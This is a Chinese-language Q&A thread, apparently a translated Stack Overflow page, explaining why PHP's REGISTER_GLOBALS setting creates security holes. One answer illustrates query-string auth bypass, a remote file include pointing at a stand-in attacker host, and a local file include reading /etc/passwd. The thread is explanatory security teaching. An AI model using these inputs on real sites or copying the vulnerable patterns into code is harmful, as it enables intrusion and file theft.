我不是PHP开发人员,但我在几个地方看到人们似乎把它当作瘟疫之类的东西。为什么呢?
答案 0 :(得分:14)
REGISTER_GLOBALS
表示通过GET或POST传递的所有变量都可以作为脚本中的全局变量使用。由于访问未声明的变量不是PHP中的错误(这是一个警告),它可能导致非常恶劣的情况。考虑一下,例如:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
本身并不是一件坏事(精心设计的代码不应该生成警告,因此不应该访问任何可能未声明的变量(并且不应该需要 REGISTER_GLOBALS
原因)),但PHP代码通常[非常]低质量,导致这种安全漏洞。
答案 1 :(得分:9)
启用REGISTER_GLOBALS会将PHP提供的网页暴露给一些坏人会热衷于利用的漏洞。
启用它后,URL末尾的任何查询字符串:
http://yourdomain/something.php?valid=true
会影响变量$ valid(例如)在something.php,(如果存在)中的值。
如果您使用公开可用的PHP代码(例如库),变量的名称是众所周知的,黑客可以通过在查询字符串中分配值来控制它们的值。他们可能可以绕过身份验证。
即使您没有使用公共代码,也可以猜出重要变量的名称,并控制它们的值。
以前是在PHP.INI中启用REGISTER_GLOBALS的默认设置
最近的做法是默认禁用它。启用它需要您自担风险!
答案 2 :(得分:3)
只是要添加,以下是启用REGISTER_GLOBALS
可能会破坏您的一天的一些情况:
使用查询字符串绕过访问控制(使用http://example.com/?logged=1进行攻击):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
远程文件包含(RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
本地文件包含(LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
答案 3 :(得分:2)
因为它允许用户在没有任何控制的情况下在代码中注入任何全局变量。
根据代码的质量,它可能会引入重大的安全漏洞。